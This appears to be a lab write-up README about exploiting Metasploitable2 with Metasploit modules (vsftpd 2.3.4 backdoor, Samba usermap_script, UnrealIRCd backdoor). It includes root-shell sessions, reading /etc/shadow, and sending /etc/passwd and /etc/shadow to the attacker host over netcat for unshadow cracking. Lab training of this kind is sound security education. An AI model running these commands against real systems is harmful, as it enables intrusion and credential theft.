Exploiting Metasploitable2 with Metasploit: VSFTPD, Samba, and More

A hands-on walkthrough of exploitation using the Metasploit Framework — from PostgreSQL database setup and db_nmap scanning, through three root shells via vsftpd, Samba, and UnrealIRCd, to credential exfiltration with Netcat.

Overview

This repository documents a full Metasploit engagement against Metasploitable2 in an isolated VirtualBox lab. Topics covered:

• Setting up Metasploit with a PostgreSQL backend and workspaces
• Running db_nmap to save scan results directly to the database
• Exploiting the vsftpd 2.3.4 backdoor (supply-chain compromise)
• Exploiting Samba CVE-2007-2447 (usermap_script command injection)
• Exfiltrating /etc/passwd and /etc/shadow over Netcat and merging with unshadow
• Exploiting the UnrealIRCd 3.2.8.1 backdoor

Lab Environment

Network: 192.168.1.0/24 — fully isolated NAT network inside VirtualBox.

Step 1 — Metasploit Setup and Database-Backed Scan

# Start PostgreSQL and initialize the database (one time only)
sudo systemctl start postgresql
sudo msfdb init

# Launch Metasploit
msfconsole

msf6> db_status           # Verify: Connected to msf. Connection type: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace           # Confirm active workspace

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

Two FTP servers found on Metasploitable2:

Step 2 — Exploiting vsftpd 2.3.4 (Backdoor)

In July 2011, the vsftpd 2.3.4 source archive was compromised — a backdoor was inserted that opens a root shell on port 6200 when the FTP username contains :). CVE: CVE-2011-2523. Code diff: https://pastebin.com/AetT9sS5

msf6> search type:exploit name:vsftpd
# Result: exploit/unix/ftp/vsftpd_234_backdoor  (rank: excellent)

msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info

msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit

meterpreter> shell
whoami          # root
uname -a        # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Extract hashed passwords:

cat /etc/shadow | grep '$1'

Step 3 — Exploiting Samba CVE-2007-2447

Samba versions 3.0.0–3.0.25rc3 pass shell meta-characters in the username field directly to /bin/sh via the username map script option — before authentication occurs. Metasploitable2 runs Samba 3.0.20-Debian.

msf6> search type:exploit name:samba
# ~7 exploits found

msf6> use exploit/multi/samba/usermap_script
msf6> info

msf6> set RHOSTS 192.168.1.3
msf6> exploit

whoami          # root
smbd --version  # Version 3.0.20-Debian

Netcat File Exfiltration

Tab 2 — Kali (receiving):

nc -l -p 4567 > passwd.txt

Tab 1 — Exploit shell (sending):

cat /etc/passwd | nc 192.168.1.4 4567

Repeat for /etc/shadow, then merge:

unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt

Step 4 — Exploiting UnrealIRCd 3.2.8.1 (Backdoor)

UnrealIRCd 3.2.8.1 was distributed with a backdoor in its source code. Sending AB to port 6667 causes the server to execute any following command as root — no authentication required.

msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit

whoami   # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Required options:

Metasploit Workflow at a Glance

db_nmap → hosts → services → search → use → info → show options → set → exploit → shell

Common Mistakes

Key Takeaways

• vsftpd 2.3.4 and UnrealIRCd 3.2.8.1 were both supply-chain compromises — backdoors baked into official distribution archives
• CVE-2007-2447 in Samba fires before authentication — patching is the only mitigation
• Netcat requires no dependencies and works for file exfiltration across virtually any Unix system
• info before exploit is a habit worth building — it shows CVE, affected versions, and required options

🌐 Connect With Me